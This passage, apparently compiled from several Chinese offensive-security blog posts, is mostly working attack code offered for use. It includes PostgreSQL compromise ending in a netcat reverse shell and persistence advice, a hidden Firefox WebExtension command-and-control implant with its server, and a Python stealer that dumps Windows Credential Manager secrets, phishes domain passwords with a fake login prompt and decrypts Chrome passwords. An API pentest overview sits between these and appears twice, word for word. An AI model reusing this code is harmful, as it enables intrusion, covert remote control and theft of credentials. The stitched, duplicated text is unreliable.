扫描完成,可以看到我们扫出了一个用户的凭证。如果这个扫描失败,我们也可以尝试遍历更多用户,测试更多的密码。Ncrack还支持加载用户名字典,使用参数 -U。不过,这里我们已经获取到了一个凭证,我们就可以使用psql终端来连接我们的目标远程数据库了。

$ psql --user postgres -h sqlserver
Password for user postgres:
psql (9.6.2)
SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off)
Type "help" for help.
 
postgres=#

成功连接。

服务侦察

现在,我们有了访问权限,我们可以进行一些侦察。首先开始遍历用户和角色。不过我们应该有目的性的查找下面这些用户名,如下:

postgres=# \du
                                  List of roles
 Role name |                       Attributes                         | Member of
-----------+------------------------------------------------------------+-----------
 postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS | {}
 
postgres=# select usename, passwd from pg_shadow;
 usename  |              passwd
----------+-------------------------------------
 postgres | md5fffc0bd6f9cb15de21317fd1f61df60f
(1 row)

下面,列举数据和表。

postgres=# \l
                              List of databases
   Name    |  Owner   | Encoding | Collate |  Ctype  |   Access privileges
-----------+----------+----------+---------+---------+-----------------------
 postgres  | postgres | UTF8     | C.UTF-8 | C.UTF-8 |
 template0 | postgres | UTF8     | C.UTF-8 | C.UTF-8 | =c/postgres          +
           |          |          |         |         | postgres=CTc/postgres
 template1 | postgres | UTF8     | C.UTF-8 | C.UTF-8 | =c/postgres          +
           |          |          |         |         | postgres=CTc/postgres
(3 rows)
 
postgres=# \dt
No relations found.

这个表格中的数据并不多,不过有时候你能够发现一些有用的信息来进一步利用。

命令执行

Postgres里包含了一些系统级的函数,并且是公开给数据库操作员的。比如,我们可以使用下列命令,来列举出当前工作目录中的内容,如下所示:

postgres=# select pg_ls_dir('./');
    pg_ls_dir
----------------------
PG_VERSION
base
global
pg_clog
pg_commit_ts
pg_dynshmem
pg_logical
pg_multixact
pg_notify
pg_replslot
pg_serial
pg_snapshots
pg_stat
pg_stat_tmp
pg_subtrans
pg_tblspc
pg_twophase
pg_xlog
postgresql.auto.conf
postmaster.pid
postmaster.opts
(21 rows)

我们也可以查看这些文件的内容:

postgres=# select pg_read_file('PG_VERSION');
 pg_read_file
--------------
 9.6         +
 
(1 row)

我们还可以选择偏移量来选择开始查看的位置,想要查看多少字节的内容。例如,我们来查看一下postgresql.auto.conf文件结尾附近的12个字节内容,命令如下:

postgres=# select pg_read_file('postgresql.auto.conf', 66, 12);
 pg_read_file
--------------
 ALTER SYSTEM
(1 row)

不过,pg_read_file()这个函数是有限制的

postgres=# select pg_read_file('/etc/passwd');
ERROR:  absolute path not allowed
postgres=# select pg_read_file('../../../../etc/passwd');
ERROR:  path must be in or below the current directory

不要失望。我们可以创建一个表,然后复制磁盘上的文件内容到表中。然后我们就可以查询表来查看内容了,如下:

postgres=# create table docs (data TEXT);
CREATE TABLE
postgres=# copy docs from '/etc/passwd';
COPY 52
postgres=# select * from docs limit 10;
                       data
---------------------------------------------------
 root:x:0:0:root:/root:/bin/bash
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 bin:x:2:2:bin:/bin:/usr/sbin/nologin
 sys:x:3:3:sys:/dev:/usr/sbin/nologin
 sync:x:4:65534:sync:/bin:/bin/sync
 games:x:5:60:games:/usr/games:/usr/sbin/nologin
 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
(10 rows)

获取反向shell

现在我们能够访问服务,能够从磁盘上读取文件。这时候我们来看看能否启动一个反向shell。同样,metasploit也有一个非常不错的payload可以简化获取反向shell的整个过程,但直接利用payload获取shell又有什么乐趣呢?

Dionach公司它们写了一个非常不错的库,提供了pgexec()这个函数。你知道这个函数的作用吗?pgexec()需要对正在运行的Postgres实例相同的主版本和此版本进行编译。你可以使用下面这条命令来查询Postgres的版本信息。

postgres=# select version();

但是他也为很多常见版本提供了预置的二进制文件。我们来抓一个看看:

$ curl https://github.com/Dionach/pgexec/blob/master/libraries/pg_exec-9.6.so -O pg_exec.so

现在我们有了这个库,但我们如何上传到目标靶机上呢?所幸,我们可以在Postgres中生成LOIDS来存储数据,然后再写入磁盘中。

postgres=# select lo_creat(-1);
 lo_creat
----------
    16391
(1 row)

记下我们刚才生成的lo_create ID。在下面的例子中会用到。

不过有一点需要注意,LOID条目最大不能超过2k,所以我们需要发出payload。我们可以在bash shell中完成,确保工作目录与使用psql目录相同。

$ split -b 2048 pg_exec.so

现在我们可以编写我们所需的SQL语句来上传payload的所有片段。这个例子中,我们将它们都输入到upload.sql这个文件中。记住,用上面你记住的ID值来替换变量${LOID}。

$ CNT=0; for f in x*; do echo '\set c'${CNT}' `base64 -w 0 '${f}'`'; echo 'INSERT INTO pg_largeobject (loid, pageno, data) values ('${LOID}', '${CNT}', decode(:'"'"c${CNT}"'"', '"'"'base64'"'"'));'; CNT=$(( CNT + 1 )); done > upload.sql

现在我们已经有了sql文件,我们可以直接将这些语句从磁盘包含到psql中。(同样,要确保upload.sql文件所在目录跟psql相同)

postgres=# \include upload.sql
INSERT 0 1
INSERT 0 1
INSERT 0 1
INSERT 0 1
INSERT 0 1

最后,我们保存LOID到磁盘中(把16391改成你自己的LOID)

postgres=# select lo_export(16391, '/tmp/pg_exec.so');
 lo_export
-----------
         1
(1 row)

接着用我们复制到磁盘的库来创建一个新的函数:

postgres=# CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE 'c' STRICT;
CREATE FUNCTION

完美!现在我们应该可以对目标靶机执行远程命令了。不过,pg_exec()函数不会显示输出,所以我们需要执行一些命令来设置我们的shell。

首先,在你的本地机器上设置一个监听器。我们可以在另外一个shell窗口中使用Netcat设置:

$ nc -l -p 4444

执行反向shell

postgres=# select sys('nc -e /bin/sh 172.16.65.140 4444');

我们现在应该获得了一个活跃的反向shell。为了是这个shell更有用,我们需要生成一个TTY。有很多方法可以实现这一点,不过,我们这里使用python。这种方法非常普遍,而且效果很好:

python -c 'import pty; pty.spawn("/bin/sh")'
$

成功进入系统shell。

提权

运气好的话,PostgreSQL是以root身份运行的,那么你现在就可以完全控制目标靶机了。如果不是root身份,你只获得了一个低权限的shell,你需要进行提权。这里我就不展开讲解了。网上有很多方法你可以尝试一下。首先,我建议的是设置权限维持。你可以创建一个计划任务来开启远程shell,以防掉线,或者是在某服务中留后门。具体的方法需要根据目标的环境来定。完成之后,你就可以进行后渗透侦察了,查找一些内核漏洞等。

希望这篇文章能帮助你更加深入的理解如何在渗透实战中利用PostgreSQL。

注意:这项技术仅在Linux上进行了测试,在Mac或者Windows上无法运行。

Firefox Web扩展

火狐的web扩展其实就是插件的新叫法,用JavaScript代码编写,能够与浏览器的API进行交互。所以,基于这一点,我灵光一闪,想到可以写一个web扩展来作为CC客户端。

如何实现

我仔细研读了火狐关于Web扩展的官方文档之后,发现了一个Native Messaging的功能,它们在web扩展和系统程序之间创建了一个通道,如果你想了解更多细节,建议你去阅读官方文档,因为本篇文章不会着重讲这个知识点。

创建一个Native Messaging app

我们需要两个文件来实现,一个manifest文件和一个应用程序来接收来自Web扩展的命令,在官方文档上有如下的例子:

· manifest

· application

Manifest文件

这个文件告诉火狐有一个新创建的函数可以被允许的web扩展调用,内容如下:

{
  "name": "execution",
  "description": "Malicious function",
  "path": "/home/user/.mozilla/extensions/payload.py",
  "type": "stdio",
  "allowed_extensions": [ "[email protected]" ]
}

 

可以看到有一个name属性,火狐将会把这个name属性值与一个函数绑定,并且allowed_extensions将只允许我们的扩展来使用该函数(我们会在webextension manifest上设置这个值为[email protected]),属性路径定义了app脚本存放的位置。

然后复制该文件到/home/user/.mozilla/native-messaging-hosts/execution.json

App script中。

App脚本

这是一个python脚本,通过STDIN从webextension接收数据并作为系统命令执行这个值,对响应进行编码,然后通过STDOUT将它发送到webextension。脚本如下:

#!/usr/bin/env python
 
import sys
import json
import struct
import base64
import subprocess
 
def getMessage():
    rawLength = sys.stdin.buffer.read(4)
    if len(rawLength) == 0:
        sys.exit(0)
    messageLength = struct.unpack('@I', rawLength)[0]
    message = sys.stdin.buffer.read(messageLength).decode('utf-8')
    return json.loads(message)
 
def encodeMessage(messageContent):
    encodedContent = json.dumps(messageContent).encode('utf-8')
    encodedLength = struct.pack('@I', len(encodedContent))
    return {'length': encodedLength, 'content': encodedContent}
 
def sendMessage(encodedMessage):
    sys.stdout.buffer.write(encodedMessage['length'])
    sys.stdout.buffer.write(encodedMessage['content'])
    sys.stdout.buffer.flush()
 
def execcmd(cmd):
    output = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE,universal_newlines=True)
    return base64.b64encode(output.stdout.encode()).decode()
 
while True:
    receivedMessage = getMessage()
sendMessage(encodeMessage(execcmd(receivedMessage)))

现在万事俱备,只欠东风了。webextension可以跟execution这个函数进行交互了。

创建一个webextension

我们只需要创建两个文件,一个manifest.json文件,包含webextension信息,还有一个background.js文件,包含客户端逻辑。这里我们只是创建一个简单的例子,当然,大家可以创建更加复杂的客户端。首先我们来创建manifest文件:

{
  "description": "C2 Client",
  "manifest_version": 2,
  "name": "C2 Client",
  "version": "1.0",
  "applications": {
    "gecko": {
      "id": "[email protected]",
      "strict_min_version": "50.0"
    }
  },
  "background": {
    "scripts": ["background.js"]
  },
  "permissions": ["nativeMessaging","<all_urls>"]
}

我就不对所有参数一一解释了,这里最重要的是application里的gecko和id的值。这个值包含了在native messaging app上设置的相同的id,并且在属性permissions中的nativeMessaging值,向Firefox指定了这个webextension能够使用Native Messaging应用程序。

现在我们来创建一个webextension来与我们C2服务器交互:

var port;
var timeout = 1000;
var result = "none";
 
var sendMessage = function(){
  server = "http://127.0.0.1:8081/";
  var oReq = new XMLHttpRequest();
  oReq.open('POST',server,true)
  oReq.setRequestHeader('Content-type', 'application/x-www-form-urlencoded')
 
  oReq.onerror = function (e) {
    setTimeout(sendMessage,timeout); }
 
  oReq.ontimeout = function (e) {
    setTimeout(sendMessage,timeout);
  }
 
  oReq.onload = function(oEvent) {
    if (oReq.status == 200){
      var cmd = oReq.response
      if (cmd != ""){
        console.log(cmd)
        port = browser.runtime.connectNative("execution");
        port.onMessage.addListener((response) => {
          result = response;
          port.disconnect();
        });
        port.postMessage(cmd);
      }
      setTimeout(sendMessage,timeout);
    }
  };
  oReq.send("response="+result);
  result = "none"
}
setTimeout(sendMessage,timeout);

这段JavaScript代码的意思就是连接到C2服务器,等待命令,接收到命令然后执行。而服务器端只是一个python编写的简单的http服务器:

import cgi
import threading
from urlparse import urlparse, parse_qs
from SocketServer import ThreadingMixIn
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
 
class Handler(BaseHTTPRequestHandler):
 
    def do_POST(self):
        self.send_response(200)
        self.end_headers()
        message =  threading.currentThread().getName()
        form = cgi.FieldStorage(fp=self.rfile,headers=self.headers,environ={'REQUEST_METHOD': 'POST'})
        result = form.getvalue("response")
        if result != "none":
            print(result.decode('base64'))
            return
        cmd = raw_input("$ ")
        self.wfile.write(cmd)
        return
 
    def log_message(self, format, *args):
        return
 
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
    """Handle requests in a separate thread."""
 
if __name__ == '__main__':
    server = ThreadedHTTPServer(('localhost', 8081), Handler)
    print 'Starting server, use <Ctrl-C> to stop'
server.serve_forever()

生成webextension

现在,我们使用zip将manifest.json和background.js文件压缩成[email protected],然后到火狐开发者面板来签发我们的webextension。选择”添加自己的扩展组件,你提交的扩展会立刻签发并进行自分发。你可以通过一个更新URL来升级或者外部应用升级.。上传xpi.file文件,点击签署插件”,然后选择no,因为我们不希望火狐分析我们的代码,然后点击继续,然后下载已经签名的webextension。

安装webextension

现在我们来安装webextension,不过我们不会使用Firefox界面(因为它需要用户交互)。我们会编辑几个文件来让火狐检测我们的webextension。当安装webextension时,要关掉其他所有的Firefox页面,这一点十分重要。

webextension文件

复制已经签名的webextension文件到$HOME/.mozilla/firefox/profile-name/extensions中。

extensions.json

$HOME/.mozilla/firefox/profile-name/extensions.json这个json文件存放着Firefox已经安装的webextension,我们只需要把我们的webextension写入文件里就可以了,下面是一个配置文件:

{
  "id": "[email protected]",
  "syncGUID": "{7b594760-d78d-410c-ad1f-34a4aaa8c3ac}",
  "version": "1.0",
  "type": "extension",
  "loader": null,
  "updateURL": null,
  "optionsURL": null,
  "optionsType": null,
  "optionsBrowserStyle": true,
  "aboutURL": null,
  "defaultLocale": {
    "name": "C2 Client",
    "description": "C2 Client",
    "creator": null,
    "developers": null,
    "translators": null,
    "contributors": null
  },
  "visible": true,
  "active": true,
  "userDisabled": false,
  "appDisabled": false,
  "installDate": 1550640880000,
  "updateDate": 1550640880000,
  "applyBackgroundUpdates": 1,
  "path": "/home/user/.mozilla/firefox/f22lasdy.default/extensions/[email protected]",
  "skinnable": false,
  "sourceURI": null,
  "releaseNotesURI": null,
  "softDisabled": false,
  "foreignInstall": false,
  "strictCompatibility": true,
  "locales": [],
  "targetApplications": [
    {
      "id": "[email protected]",
      "minVersion": "50.0",
      "maxVersion": null
    }
  ],
  "targetPlatforms": [],
  "signedState": 2,
  "seen": true,
  "dependencies": [],
  "userPermissions": {
    "permissions": [
      "nativeMessaging"
    ],
    "origins": [
      "<all_urls>"
    ]
  },
  "icons": {},
  "iconURL": null,
  "blocklistState": 0,
  "blocklistURL": null,
  "startupData": null,
  "hidden": true,
  "installTelemetryInfo": {
    "source": "about:addons",
    "method": "install-from-file"
  },
  "location": "app-system-defaults"
}

这里有一个很重要的选项,因为如果我们把这个值设置为app-system-defaults,然后这个webextension在Firefox中是不可见的。我们可以使用下面这个python脚本来自动化该文件的过程:

import json
extensions = json.loads(open('/home/user/.mozilla/firefox/profile-name/extensions.json').read())
plugin = json.loads(open('myexntension.json').read())
plugin['path'] = '/home/user/.mozilla/firefox/profile-name/extensions/[email protected]'
extensions['addons'].insert(len(extensions['addons']),plugin)
print(json.dumps(extensions))"

然后我们用该python脚本的输出来替换extension.json文件的内容。

user.js

创建/home/user/.mozilla/firefox/profile-name/user.js文件,写入如下内容:

user_pref("extensions.webextensions.uuids","{\"[email protected]\":\"fef0c3b3-9327-4584-839c-52cf45d94170\"}");

总结

为了让Firefox能够检测和启用这个webextension扩展,需要先关掉Firefox然后再重新启动,然后就可以正常使用了。

PoC

这里有一个演示如何使用这个webextension的视频。我现在使用这个webextension扩展作为开发者扩展来展示调试控制台。视频地址在这里,PoC视频

API渗透测试概述

API渗透测试是一种常见的攻击面,攻击者可以通过它来进一步获取应用程序或者服务器的访问权限。本篇文章中,我会讲到API渗透测试的一些基础知识。

本文分为下面三部分:

1. API渗透测试是什么?

2. API请求和响应的结构?

3. 渗透测试的方法,工具和案例?

API渗透测试详情

API渗透测试与web应用程序渗透测试方法相同。虽然测试方法类似,但是在攻击上还是有一些变化的,因此,我们要找出API的一些标准漏洞,就跟Web中的Owasp Top10一样,包括:注入,访问控制,信息泄露,IROR(不安全的对象直接引用),XSS等。

API安全认证基础

API认证和会话管理

当我们开始查看API时,我会首先想要知道API认证和会话管理是如何处理的。开发者们通常使用HTTP basic,Digest身份认证和JSON Web Token引入。现在又多了oAuth这种方式,这种方法实现授权,认证和会话管理非常简单。oAuth提供了会过期的无记名令牌,这让攻击者在认证模块中挖掘漏洞更加困难。如何识别API中的认证Tokens?很简单,如下图所示:

1.png

2.png

API设计和结构

现在的很多应用使用API来调用微服务或者执行某些动作或者监视用户的行为。这种API设计和结构对于客户和应用程序用户都是公开的,由于这一点,攻击者能够理解API的结构并利用此信息来进一步攻击API。

REST API使用不同的处理请求,比如GET,POST,PUT,DELETE,HEAD和PATCH操作等。攻击者可以修改请求头来理解API,并利用这种理解来构造有效的攻击exp。处理请求也可以进行修改,不过最好的做法是处理请求不能被篡改或修改。下图是处理请求的一个例子,请注意看服务器对于请求所做出的响应:

3.png

API渗透测试工具推荐

下列工具在API应用的渗透测试过程中经常使用到。在手工渗透测试中推荐使用,这些工具网上都有免费的。

1. Swagger-Editor

2. Postman

3. Burpsuite

据Google称:Swagger对于整个API生命周期开发都有帮助,从设计和文档到测试和部署。

Swagger的作用是转换OpenAPI文档为JSON或者YAML格式,Swagger还可以帮助你为每一个API端点创建请求。而且,还能够导入Swagger文件到postman中,有关postman使用文档,请戳这里阅读。一旦我们获得目标的完整信息和请求,然后我们就可以在postman和Swagger中修改host。这些设置有助于进行API渗透测试。

如何挖掘API漏洞?

仔细阅读客户提供的文档来了解攻击面。开发人员指南可以为我们提供API内部的更多信息。如果没有提供文档或者API部署在运行中的服务器中,那么我们就需要用代理来抓取所有API请求。在每个API请求中彻底的识别POST和GET请求,当我们理解了API请求后,记录下那些可能存在安全问题的点。以下是常规漏洞的基础测试点:

OWASP 2017测试点:

1. 观察API每个模块中的每一个参数,理解数据是如何从源传输到目标的。试着修改参数来对它进行一些测试。

2. 识别API是否具有任何的授权token,如果有,尝试删除这个授权token,看看应用程序的响应。在有些情况下,如果授权处理不当的话,API可能允许你访问应用程序禁止访问的资产。

3. 使用访问权限不同的用户登陆,如admin,操作员和普通用户,并分析并检查每一个模块。

4. 检查是否可以通过受限制的用户访问管理模块。

5. 识别可能存在IDOR(不安全的对象直接引用)漏洞的参数,比如id=1234,并且查找cookies中是否有可以进行修改的ID参数。

6. 在请求中的所有参数中插入特殊字符来测试是否存在注入漏洞,查看服务器的响应。如果发现任何堆栈报错信息,分析该信息并进一步进行利用。

7. 在所有参数中插入”<”,”>”,查看响应,应用程序是否进行转义还是直接输出。如果应用程序没有对任何特殊字符进行转义,那么该应用程序可能存在XSS攻击。

8. 修改content-type服务器头来理解XML实体注入攻击。例如,修改Application/JSON为application/XML,并且插入XML实体payload来查找XXE漏洞。

本文是一篇关于API渗透测试基础的介绍。更多关于web services和API渗透测试内容,请阅读这两篇文章。

http://blog.securelayer7.net/web-services-api-penetration-testing-part-1/

http://blog.securelayer7.net/web-services-api-penetration-testing-part-2/

API渗透测试概述

API渗透测试是一种常见的攻击面,攻击者可以通过它来进一步获取应用程序或者服务器的访问权限。本篇文章中,我会讲到API渗透测试的一些基础知识。

本文分为下面三部分:

1. API渗透测试是什么?

2. API请求和响应的结构?

3. 渗透测试的方法,工具和案例?

API渗透测试详情

API渗透测试与web应用程序渗透测试方法相同。虽然测试方法类似,但是在攻击上还是有一些变化的,因此,我们要找出API的一些标准漏洞,就跟Web中的Owasp Top10一样,包括:注入,访问控制,信息泄露,IROR(不安全的对象直接引用),XSS等。

API安全认证基础

API认证和会话管理

当我们开始查看API时,我会首先想要知道API认证和会话管理是如何处理的。开发者们通常使用HTTP basic,Digest身份认证和JSON Web Token引入。现在又多了oAuth这种方式,这种方法实现授权,认证和会话管理非常简单。oAuth提供了会过期的无记名令牌,这让攻击者在认证模块中挖掘漏洞更加困难。如何识别API中的认证Tokens?很简单,如下图所示:

1.png

2.png

API设计和结构

现在的很多应用使用API来调用微服务或者执行某些动作或者监视用户的行为。这种API设计和结构对于客户和应用程序用户都是公开的,由于这一点,攻击者能够理解API的结构并利用此信息来进一步攻击API。

REST API使用不同的处理请求,比如GET,POST,PUT,DELETE,HEAD和PATCH操作等。攻击者可以修改请求头来理解API,并利用这种理解来构造有效的攻击exp。处理请求也可以进行修改,不过最好的做法是处理请求不能被篡改或修改。下图是处理请求的一个例子,请注意看服务器对于请求所做出的响应:

3.png

API渗透测试工具推荐

下列工具在API应用的渗透测试过程中经常使用到。在手工渗透测试中推荐使用,这些工具网上都有免费的。

1. Swagger-Editor

2. Postman

3. Burpsuite

据Google称:Swagger对于整个API生命周期开发都有帮助,从设计和文档到测试和部署。

Swagger的作用是转换OpenAPI文档为JSON或者YAML格式,Swagger还可以帮助你为每一个API端点创建请求。而且,还能够导入Swagger文件到postman中,有关postman使用文档,请戳这里阅读。一旦我们获得目标的完整信息和请求,然后我们就可以在postman和Swagger中修改host。这些设置有助于进行API渗透测试。

如何挖掘API漏洞?

仔细阅读客户提供的文档来了解攻击面。开发人员指南可以为我们提供API内部的更多信息。如果没有提供文档或者API部署在运行中的服务器中,那么我们就需要用代理来抓取所有API请求。在每个API请求中彻底的识别POST和GET请求,当我们理解了API请求后,记录下那些可能存在安全问题的点。以下是常规漏洞的基础测试点:

OWASP 2017测试点:

1. 观察API每个模块中的每一个参数,理解数据是如何从源传输到目标的。试着修改参数来对它进行一些测试。

2. 识别API是否具有任何的授权token,如果有,尝试删除这个授权token,看看应用程序的响应。在有些情况下,如果授权处理不当的话,API可能允许你访问应用程序禁止访问的资产。

3. 使用访问权限不同的用户登陆,如admin,操作员和普通用户,并分析并检查每一个模块。

4. 检查是否可以通过受限制的用户访问管理模块。

5. 识别可能存在IDOR(不安全的对象直接引用)漏洞的参数,比如id=1234,并且查找cookies中是否有可以进行修改的ID参数。

6. 在请求中的所有参数中插入特殊字符来测试是否存在注入漏洞,查看服务器的响应。如果发现任何堆栈报错信息,分析该信息并进一步进行利用。

7. 在所有参数中插入”<”,”>”,查看响应,应用程序是否进行转义还是直接输出。如果应用程序没有对任何特殊字符进行转义,那么该应用程序可能存在XSS攻击。

8. 修改content-type服务器头来理解XML实体注入攻击。例如,修改Application/JSON为application/XML,并且插入XML实体payload来查找XXE漏洞。

本文是一篇关于API渗透测试基础的介绍。更多关于web services和API渗透测试内容,请阅读这两篇文章。

http://blog.securelayer7.net/web-services-api-penetration-testing-part-1/

http://blog.securelayer7.net/web-services-api-penetration-testing-part-2/

键盘记录和剪切板监控是非常有作用的,而且只要有了这两个,我们就可以很轻易的抓取凭证了。也就是说,系统中可能存在已经保存的凭证,我们也想要获取。在第三部分,我们将会讲解一些实用的和基础的技巧在普通用户权限下来窃取凭证和cookie。这次我们不再用ctype来编写又长又复杂,令人头疼的代码了,我们会使用pywin32这个模块,这是WinAPI的一个包装器。首先要安装此模块,命令很简单,用pip install pywin32即可。

首先我们引入所有需要用到的包和模块,然后声明一个常量,这个常量在调用Credential Manager(凭证管理器,简称为CredMan)相关函数时会用到。

import os
import io
import sys
import sqlite3
import json
import shutil
import win32cred
import win32crypt
import win32api
import win32con
import pywintypes
 
CRED_TYPE_GENERIC = win32cred.CRED_TYPE_GENERIC

然后,我们创建一个新的类credentials。它不需要任何构造函数,它只是将凭证方法和cookies方法区分开来。在这个类中,我们先定义一个函数dump_cresman_generic()。

从Windows凭证管理器中转存通用凭证

这个函数就是用来转存所有存储在凭证管理器中的通用凭证的,通用凭证是非域类型凭证。比如说,你在Windows上使用git,通过身份认证连接到GitHub,Bitbucket和Gitlab等,那么你的凭证是存储在CredMan中的。如果不跟LSASS有交互的话,我们是获取不到域凭证的(CRED_TYPE_DOMAIN),而我们通常都会避免与LSASS进行交互。(参考:https://docs.microsoft.com/en-us/windows/desktop/secauthn/kinds-of-credentials)

我们首先import我们需要枚举和读取凭证的函数:

def dump_credsman_generic():
        
    CredEnumerate = win32cred.CredEnumerate
    CredRead = win32cred.CredRead

然后,我们枚举存储在credman中的凭证,并且把它们放在creds变量中,该变量是一个元组:

try:
        creds = CredEnumerate(None, 0)  # Enumerate credentials
    except Exception:                # Avoid crashing on any exception
       pass

 

现在,我们要遍历每个凭证集(这里是命令包,因为set是一个python关键字),并将它们作为单独元素添加到credentials列表中,这样方便操作。

    credentials = []
 
    for package in creds:
        try:
            target = package['TargetName']
            creds = CredRead(target, CRED_TYPE_GENERIC)
            credentials.append(creds)
        except pywintypes.error:
            pass

这里你可能注意到了两件事情。第一就是我们用列表代替了字典,这是因为凭证blob是十六进制形式的。在python中,JSON是不支持八进制和十六进制的,所以我们使用列表来代替。

第二件事就是我们使用CredRead()函数,这个函数返回的数据跟CredEnumerate()函数一样。这里的区别是,CredRead()函数是用来读取凭证中特定的包或集,而CredEnumerate()函数就是返回所有内容。我们可以简单的循环遍历creds变量,但是从我看到的使用CredMan读取一些C代码,CredRead()函数是最简洁的方法。

现在我们该创建一个内存中的文本流了(为了避免在磁盘中写入文件),之后我们就可以将它发送到我们目前还没有创建C2服务器了。

        credman_creds = io.StringIO() # In-memory text stream

        for cred in credentials:

            service = cred['TargetName']
            username = cred['UserName']
            password = cred['CredentialBlob'].decode()

            credman_creds.write('Service: ' + str(service) + '\n')
            credman_creds.write('Username: ' + str(username) + '\n')
            credman_creds.write('Password: ' + str(password) + '\n')
            credman_creds.write('\n')        return credman_creds.getvalue()

首先我们创建文本流credman_creds,用来保存服务,用户名和密码。然后我们遍历Credentials变量并将我们想要的数据写入到文本流中,确保我们已经对credentials进行了解码,这样我们就可以得到明文的密码。完成之后,我们就可以在文本流中看到返回的数据了。

现在我们可以编辑一下main.py文件来进行测试:

import stealer
 
if __name__ == '__main__':
    
    credstealer = stealer.credentials
print(credstealer.dump_credsman_generic())

结果如下:

1.png

从上图可以看出,如果存在git密钥或者密码,我们就可以进行转存,有了密码之后,我们就可以访问非公开的源代码了。目标名Microsoft_OC1实际上就是Skype企业账户的密码,同样也是用户的域密码。如果用户也运行着outlook2016,你很有可能会在Microsoftoffice16_data:SSPI:<account>下找到他的域凭证,如下图:

2.png

弹窗提示输入域凭证

前面说过,现在的渗透测试员使用Mimikatz来dump LSASS中凭证是很常见的。但问题是这种方法很容易被大多数的EDR和下一代杀软发现。如果你没有键盘记录仪和凭证管理器来发现用户的域密码,这种情况下该怎么办,直接问肯定是不行的。

我们可以尝试对用户进行社工,这里我们可以使用CredUIPromptForCredentials()函数来弹出一个登陆对话框,欺骗用户输入域密码。这个函数能够实现这一点,并且以明文形式返回用户输入的密码,函数代码如下:

    CredUIPromptForCredentials = win32cred.CredUIPromptForCredentials
 
    creds = []
 
    try:
        creds = CredUIPromptForCredentials(os.environ['userdomain'], 0, os.environ['username'], None, True, CRED_TYPE_GENERIC, {})
    except Exception:   # Avoid crashing on any exception
        pass
    return creds

这里我们使用环境变量userdomain来显示目标。如果用户属于CONTOSO.LOCAL域,弹框就会让CONTOSO-LOCAL域中的用户输入凭证,也就是userdomain返回的名称。

3.png

如下所示,可以看到这个函数返回了明文输入的凭证。

4.png

转存保存在Chrome中的密码

chrome是市场份额最多的浏览器,所以它自然会成为首要的攻击目标。我见到过的每一个窃取恶意软件都会窃取Chrome的密码,因为说实话,这个太容易了。如果你保存密码时没有设置一个主密码,Login Data数据库中的加密二进制对象就可以用CryptUnprotectData函数来解密,只要是在当前的用户环境下完成的。这意味着你不能只是抓取数据库,然后在不同的主机上用不同的用户身份打开。

Chrome密码存储在SQLite的Login Data数据库中,该数据库位于%localappdata%\Google\Chrome\User Data\Default\目录中。这里我们使用DB Browser可以看到数据库的结构,DB Browser是SQLite的开源数据库工具。

5.png

这里我们想要查询三个相关的字段:action_urls,username_value和password_value字段。password_value字段包含了加密的二进制对象,我们将使用下面的代码来进行解密。

首先,我们要对数据库进行一个本地备份,要不然的话,如果Chrome正在运行,它会有一个句柄,而且数据库会被锁定。或者,我们可以使用WMI来查询正在运行的进程,等到Chrome停止运行,不过这会浪费很多时间。

    try:
    login_data = os.environ['localappdata'] + '\\Google\\Chrome\\User Data\\Default\\Login Data'
    shutil.copy2(login_data, './Login Data') # Copy DB to current dir
    win32api.SetFileAttributes('./Login Data', win32con.FILE_ATTRIBUTE_HIDDEN) # Make file invisible during operation
  except Exception:
    pass
 
chrome_credentials = io.StringIO() # In-memory text stream

我们使用基本的异常处理来避免程序崩溃。如果你需要解决sqlite3的问题,你可以使用sqlite3.error来获取详细信息。然后我们创建一个内存文本流,用来存储我们转存的凭证,避免在磁盘中写入文件。

现在,我们需要打开Login Data数据库的本地副本,然后查询用户保存的凭证:

    try:
        conn = sqlite3.connect('./Login Data', )                                        # Connect to database
        cursor = conn.cursor()                                                          # Create a cursor to fetch the data
        cursor.execute('SELECT action_url, username_value, password_value FROM logins') # Run the query
        results = cursor.fetchall()                                                     # Get the results
        conn.close()                                                                    # Close the database file so it's not locked by the process
        os.remove('Login Data')

这个用python脚本来查询sqlite数据库的python案例比较简单,但是却非常实用。接下来,当我们处理Chrome cookies时,我们还会更新数据库中的数据。现在变量result包含了查询的结果,也就是ursl,用户名和加密的密码,我们可以循环遍历这些结果,然后用WinAPI函数CryptUnprotectData来破解密码,然后将它们添加到我们的内存文本流中。

           for action_url, username_value, password_value in results:                                               
                password = win32crypt.CryptUnprotectData(password_value, None, None, None, 0)[1] # Decrypt the password with CryptUnprotectData
                if password:                                                                   # Write credentials to text stream in memory
                    chrome_credentials.write('URL: ' + action_url + '\n')
                    chrome_credentials.write('Username: ' + username_value + '\n')
                    chrome_credentials.write('Password: ' + str(password) + '\n')
                    chrome_credentials.write('\n')
            return chrome_credentials.getvalue()                                               # Return content of the text stream
 
        except sqlite3.OperationalError as e: # Simple exception handling to avoid crashing
            print(e)                          # when opening the Login Data database
            pass
 
        except Exception as e:                # Avoid crashing for any other exception
            print(e)
            pass

我们这里使用CryptUnprotectData来解密加密的二进制对象,是因为Windows上的Chrome使用的是CryptProtectData这个WinAPI函数来加密密码的(参考:https://chromium.googlesource.com/chromium/chromium/+/master/chrome/browser/password_manager/encryptor_win.cc)。你可以在MSDN上阅读有关CryptProtectData函数的内容,该函数对DATA_BLOB结构的数据进行加密。通常来说,只有与加密数据的用户拥有相同登陆凭证的用户才能解密数据。而且,加密和解密必须要在一台电脑中完成。关于异常的更多信息,请查考备注。这就是为什么我们要在本地并且在相同的用户环境下解密数据。

现在,我们可以测试这个方法,修改一下main.py然后调用:

import stealer
 
if __name__ == '__main__':
 
    credstealer = stealer.credentials
print(credstealer.dump_chrome_passwords())

运行main.py,查看效果:

6.png

窃取Chrome cookies

